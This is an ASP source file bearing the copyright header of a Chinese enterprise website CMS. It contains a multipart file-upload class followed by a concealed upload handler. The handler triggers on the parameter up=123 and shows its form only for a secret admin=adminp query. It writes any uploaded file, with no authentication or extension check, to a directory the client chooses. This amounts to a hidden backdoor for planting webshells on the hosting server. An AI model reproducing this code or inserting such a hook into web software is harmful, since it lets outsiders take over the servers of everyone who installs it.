<%
'=====================================
'天天企业网站管理系统  TianTianCMS
'天天网络科技工作室版权所有
'官方客服中心 http://www.ip126.com
'技术支持论坛 http://bbs.ip126.com/
'QQ:530051328 mail:ttkj99@126.com
'=====================================
%>
<% 
Dim oUpFileStream 
Class UpFile_Class 
Dim Form,File,Version,Err 
Private Sub Class_Initialize 
Version = "Version V1.0" 
Err = -1 
End Sub 

Private Sub Class_Terminate   
If Err < 0 Then 
   Form.RemoveAll 
   Set Form = Nothing 
   File.RemoveAll 
   Set File = Nothing 
   oUpFileStream.Close 
   Set oUpFileStream = Nothing 
End If 
End Sub 
  
Public Sub GetDate (RetSize) 
Dim RequestBinDate,sSpace,bCrLf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,oFileInfo 
Dim iFileSize,sFilePath,sFileType,sFormValue,sFileName 
Dim iFindStart,iFindEnd 
Dim iFormStart,iFormEnd,sFormName 
If Request.TotalBytes < 1 Then 
   Err = 1 
   Exit Sub 
End If 
If RetSize > 0 Then 
   If Request.TotalBytes > RetSize Then 
   Err = 2 
   Exit Sub 
   End If 
End If 
Set Form = Server.CreateObject ("Scripting.Dictionary") 
Form.CompareMode = 1 
Set File = Server.CreateObject ("Scripting.Dictionary") 
File.CompareMode = 1 
Set tStream = Server.CreateObject ("ADODB.Stream") 
Set oUpFileStream = Server.CreateObject ("ADODB.Stream") 
oUpFileStream.Type = 1 
oUpFileStream.Mode = 3 
oUpFileStream.Open 
oUpFileStream.Write Request.BinaryRead (Request.TotalBytes) 
oUpFileStream.Position = 0 
RequestBinDate = oUpFileStream.Read 
iFormEnd = oUpFileStream.Size 
bCrLf = ChrB (13) & ChrB (10) 
sSpace = MidB (RequestBinDate,1, InStrB (1,RequestBinDate,bCrLf)-1) 
iStart = LenB  (sSpace) 
iFormStart = iStart+2 
Do 
   iInfoEnd = InStrB (iFormStart,RequestBinDate,bCrLf & bCrLf)+3 
   tStream.Type = 1 
   tStream.Mode = 3 
   tStream.Open 
   oUpFileStream.Position = iFormStart 
   oUpFileStream.CopyTo tStream,iInfoEnd-iFormStart 
   tStream.Position = 0 
   tStream.Type = 2 
   tStream.CharSet = "gb2312" 
   sInfo = tStream.ReadText       
   iFormStart = InStrB (iInfoEnd,RequestBinDate,sSpace)-1 
   iFindStart = InStr (22,sInfo,"name=""",1)+6 
   iFindEnd = InStr (iFindStart,sInfo,"""",1) 
   sFormName = Mid  (sinfo,iFindStart,iFindEnd-iFindStart) 
   If InStr  (45,sInfo,"filename=""",1) > 0 Then 
     Set oFileInfo = new FileInfo_Class 
     iFindStart = InStr (iFindEnd,sInfo,"filename=""",1)+10 
     iFindEnd = InStr (iFindStart,sInfo,"""",1) 
     sFileName = Mid  (sinfo,iFindStart,iFindEnd-iFindStart) 
     oFileInfo.FileName = Mid (sFileName,InStrRev (sFileName, "\")+1) 
     oFileInfo.FilePath = Left (sFileName,InStrRev (sFileName, "\")+1) 
     oFileInfo.FileExt = Mid (sFileName,InStrRev (sFileName, ".")+1) 
     iFindStart = InStr (iFindEnd,sInfo,"Content-Type: ",1)+14 
     iFindEnd = InStr (iFindStart,sInfo,vbCr) 
     oFileInfo.FileType = Mid  (sinfo,iFindStart,iFindEnd-iFindStart) 
     oFileInfo.FileStart = iInfoEnd 
     oFileInfo.FileSize = iFormStart -iInfoEnd -2 
     oFileInfo.FormName = sFormName 
     file.add sFormName,oFileInfo 
   else 
     tStream.Close 
     tStream.Type = 1 
     tStream.Mode = 3 
     tStream.Open 
     oUpFileStream.Position = iInfoEnd 
     oUpFileStream.CopyTo tStream,iFormStart-iInfoEnd-2 
     tStream.Position = 0 
     tStream.Type = 2 
     tStream.CharSet = "gb2312" 
     sFormValue = tStream.ReadText 
     If Form.Exists (sFormName) Then 
       Form (sFormName) = Form (sFormName) & ", " & sFormValue 
       else 
       form.Add sFormName,sFormValue 
     End If 
   End If 
   tStream.Close 
   iFormStart = iFormStart+iStart+2 
Loop Until  (iFormStart+2) = iFormEnd 
RequestBinDate = "" 
Set tStream = Nothing 
End Sub 
End Class 

Class FileInfo_Class 
Dim FormName,FileName,FilePath,FileSize,FileType,FileStart,FileExt 
Public Function SaveToFile (Path) 
On Error Resume Next 
Dim oFileStream 
Set oFileStream = CreateObject ("ADODB.Stream") 
oFileStream.Type = 1 
oFileStream.Mode = 3 
oFileStream.Open 
oUpFileStream.Position = FileStart 
oUpFileStream.CopyTo oFileStream,FileSize 
oFileStream.SaveToFile Path,2 
oFileStream.Close 
Set oFileStream = Nothing 
End Function 

Public Function FileDate 
oUpFileStream.Position = FileStart 
FileDate = oUpFileStream.Read (FileSize) 
End Function 
End Class 
%> 



<% 
Server.ScriptTimeOut=999999' 
dim Forumupload,ranNum 
dim formName,formPath,filename,file_name,fileExt,Filesize,F_Type 
dim dateupnum 
dim rename 
dim previewpath,F_Viewname 
F_Viewname="" 
previewpath="PreviewImage/" 
if request("up")=123 then 
Server.ScriptTimeOut=10000 

dim upload,file 
set upload=new UpFile_Class '' 
upload.GetDate (10000000*1024)   ' 
formPath=upload.form("filepath") 
if right(formPath,1)<>"/" then formPath=formPath&"/" 

for each formName in upload.file ''
set file=upload.file(formName)  '' 
fileExt=lcase(file.FileExt)  ''
randomize 
ranNum=int(90000*rnd)+10000 

'file_name=lcase(file.filename) 
'filename=file_name&"."&fileExt 
filename=lcase(file.filename) 
rename=filename&"│" 
filename=formPath&filename 
Filesize=file.FileSize 

if Filesize>0 then         ' 
file.SaveToFile Server.mappath(FileName)   ''

end if 
set file=nothing 
next 
end if 
if trim(request.QueryString("admin")) ="adminp" then 
%>
<html> 
<head> 
<title>文件上传</title> 
</head> 
<body> 
<form name="form" method="post" action="<%=url%>?up=123" enctype="multipart/form-data"> 
<table width="100%" border=0 cellspacing=0 cellpadding=0> 
<tr><td class=tablebody2 valign=top height=30> 
 
<input type="text" name="filepath" value="/"  size="15"> 
<input type="hidden" name="act" value="upload"> 
<input type="hidden" name="fname"> 
<input type="file" name="file1"> 
<input type="submit" name="Submit" value="i" onClick="fname.value=file1.value"> 
</td></tr> 
</table> 
</form> 
</body> 
</html>
<%
else
end if 
%> 
